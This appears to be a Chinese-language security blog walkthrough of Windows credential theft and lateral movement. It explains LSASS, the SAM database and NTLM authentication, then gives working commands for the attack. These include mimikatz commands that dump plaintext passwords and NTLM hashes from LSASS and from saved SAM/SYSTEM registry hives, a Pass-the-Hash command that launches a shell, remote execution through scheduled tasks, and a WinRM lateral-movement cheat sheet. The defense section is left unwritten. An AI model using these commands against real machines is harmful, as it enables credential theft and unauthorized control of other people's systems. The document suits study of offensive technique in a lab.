一、引子
在未打KB2871997補丁的win7系統上,使用mimikatz執行以下命令:
# 注:為了與lsass.exe交互,需要以administrator權限啟動mimikatz並獲得debug權限;或者以system權限啟動mimikatz mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords
mimikatz從Lsass.exe中dump出了一堆明文密碼和NTLM Hash, 其中的msv, tspkg, wdigest, kerberos等等都對應不同的ssp(security service provider), 代表不同的windows 認證方式。
可以看到,Lsass.exe里不僅緩存了本地賬戶test的明文密碼和NTLM Hash,還有使用此機器遠程桌面連接到sec/lucy的明文密碼。
二、LSA(Local Security Authority)服務
即本地安全權限服務,用於管理本地安全和登錄策略,像驗證用戶登錄、修改密碼、新建訪問令牌都會涉及到LSA。
主進程是Lsass.exe,其中Lsasrv.dll實現了Local Security Authority service的大部分功能,它會加載各類ssp dll,用於支持各種不同的windows驗證方式。比如,Kerberos協議多用於域環境下身份驗證,NTLM多用於工作組環境身份驗證,CredSSP用於RDP遠程桌面連接驗證。
而Lsass.exe會緩存用戶憑據,有明文形式(嚴格來說應該是可逆加密的明文)也有Hash,這取決於不同ssp的實現方式。
LSASS常見的ssp 認證包(Security Support Provider authentication packages ) 有:
LSASS會存儲的憑據有:
接下來,我們重點關注下NTLM Msv1_0.dll 這條線,這是后面哈希傳遞的基礎。
1. SAM database
SAM是管理SAM database的服務,SAM database中存儲了本地用戶的密碼Hash信息;早期windows使用LM Hash,但其易於破解,從windows Vista和windows server 2008開始默認禁用LM Hash;現在使用的是NTLM Hash。
SAM database存儲在HKLM\SAM中,訪問它需要system權限。可通過regedit 查看HKLM\SAM: 以Administrator權限,執行".\PsExec.exe -accepteula -i -s regedit.exe" ,就可以以system權限啟動regedit.exe了。
注意,SAM database只存儲本地用戶的憑據,不會存登錄過的域賬號的憑據,在域控制器上 SAM 文件相當於活動目錄數據庫文件 ntds.dit。
用mimikatz 在線dump NTLM Hash
首先run as Administrator, 此時mimikatz進程是high integrity,訪問SAM database需要System權限,所以需要再提權。
也可以類似上面使用PsExec.exe -s 啟動mimikatz,此時mimikatz進程是system integrity,這時候直接執行"lsadump::sam"即可。
用mimikatz 離線dump NTLM Hash
如果目標機器沒有裝相應軟件,則可以先dump出SAM文件和System文件(run as Administrator)
> 出於安全性的考慮在后期的 windows 系統中 SAM 文件中被 bootkey 加密,而 bootkey 則保存在這個SYSTEM 文件下。因此單獨的 SAM 文件是無法正常解讀的如果需要解密則還需要加載對應系統的 system 文件。
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
再用mimikatz從SAM文件中讀取HASH(此時就不需要高權限了)
mimikatz # lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv
拿到了密碼的NTLM Hash,第一想到的是破解,但如果不是字典強大、或者密碼已經猜了個八九不離十,很難破解出來,感興趣可以用john ripper或hash cat體驗一下破解NTLM Hash。
那拿到了NTLM Hash怎么橫向移動呢? 這里引出了NTLM認證
2. NTML認證
注: NTML認證這塊的文章,有的把NTLM認證分工作組環境和域環境,有的分為交互環境和非交互環境。我看着都覺得部分情況不能自圓其說,所以就直接按例子來說吧。
本地認證(本地賬戶登錄)
將用戶輸入的密碼加密為NTLM HASH后與SAM中的NTLM比較,若一致則認證通過
兩方: client與server/DC (域賬戶登錄需要DC認證,已登錄賬戶需要訪問工作組環境里server資源,需要server認證)
三方: client, server和DC (已登錄賬戶,想訪問域中server資源,需要DC認證)
三、Pass the Hash
在上面的第三步中,客戶端用本地NTLM Hash加密challenge生成response發送給服務端。可以看到,盡管沒有明文密碼,但如果拿到了NTLM Hash,就能用它加密challenge,完成驗證。
這里mimikatz替換了內存中的NTLM hash值,啟動了一個powershell,可在這個命令行環境中控制遠程目標機器。(本來也拿到了test 用戶的NTLM Hash,但用它橫向移動時一直是permission denied,還不知道原因)
mimikatz # sekurlsa::pth /user:Administrator /domain:WORKGROUP /ntlm:******************************** /run:powershell.exe
Pass the Hash 只是一種無明文認證的手段,我們還需要針對具體的服務進行攻擊。這里以smb服務為例,smb服務使用了NTLM認證
1. 讀文件、拷貝本地文件到遠程主機都沒什么問題
2. 列出遠程機器進程列表
3. 創建定時任務來執行命令,at 命令或schtasks命令,啟動的子進程是System權限,nice~
PS C:\Windows\system32> at \\192.168.240.128 4:37PM C:\Windows\System32\calc.exe
AT 命令已棄用。請改用 schtasks.exe。
新加了一項作業,其作業 ID = 3
創建定時任務來執行命令不太方便,如果有直接在powershell 命令行環境可以遠程執行命令的方法再補充。
4. 使用winrm來遠程執行命令
目標機上開啟winrm服務:
Enable-PSRemoting -Force
使用此powershell命令開啟winrm服務,會幫忙把防火牆規則也設置好,否則還是無法接收winrm命令。
攻擊機上,將目標機加入trust host(工作組環境才需要做這一步)
Set-Item wsman:\localhost\client\trustedhosts 192.168.240.134
Restart-Service Winrm
攻擊機上,使用mimikatz pass the hash和winrm控制目標機
PSSession是一個交互式命令會話窗口,也可以直接使用Invoke-Command執行命令或腳本文件
PS C:\Windows\system32> Invoke-Command -ComputerName win10-pc -ScriptBlock {Get-ChildItem c:\} Directory: C:\ Mode LastWriteTime Length Name PSComputerName ---- ------------- ------ ---- -------------- d----- 2019/3/19 12:52 PerfLogs win10-pc d-r--- 2020/3/12 15:53 Program Files win10-pc d-r--- 2020/3/13 11:20 Program Files (x86) win10-pc d----- 2020/3/12 17:08 RedTeam win10-pc d----- 2020/3/12 17:08 totalcmd win10-pc d-r--- 2020/3/12 14:33 Users win10-pc d----- 2020/3/13 10:14 Windows win10-pc
# Enable PowerShell Remoting on the target (box needs to be compromised first) Enable-PSRemoting -force # Check if a given system is listening on WinRM port Test-NetConnection <IP> -CommonTCPPort WINRM # Trust all hosts: Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force # Check what hosts are trusted Get-Item WSMan:\localhost\Client\TrustedHosts # Execute command on remote host Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname} # Interactive session with explicit credentials Enter-PSSession <host> -Credential <domain>\<user> # Interactive session using Kerberos: Enter-PSSession <host> -Authentication Kerberos # Upload file to remote session Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession (Get-PSSession) # Download file from remote session Copy-Item -Path C:\Users\Administrator\Desktop\test.txt -Destination C:\Temp\ -FromSession (Get-PSSession) # 清除pssession Remove-PSSession -ComputerName <host> # 重啟winrm 服務 Restart-Service Winrm
四、防御 待補充
五、參考
https://xz.aliyun.com/t/6600#toc-1
https://medium.com/blue-team/preventing-mimikatz-attacks-ed283e7ebdd5
https://ired.team/offensive-security/lateral-movement/t1028-winrm-for-lateral-movement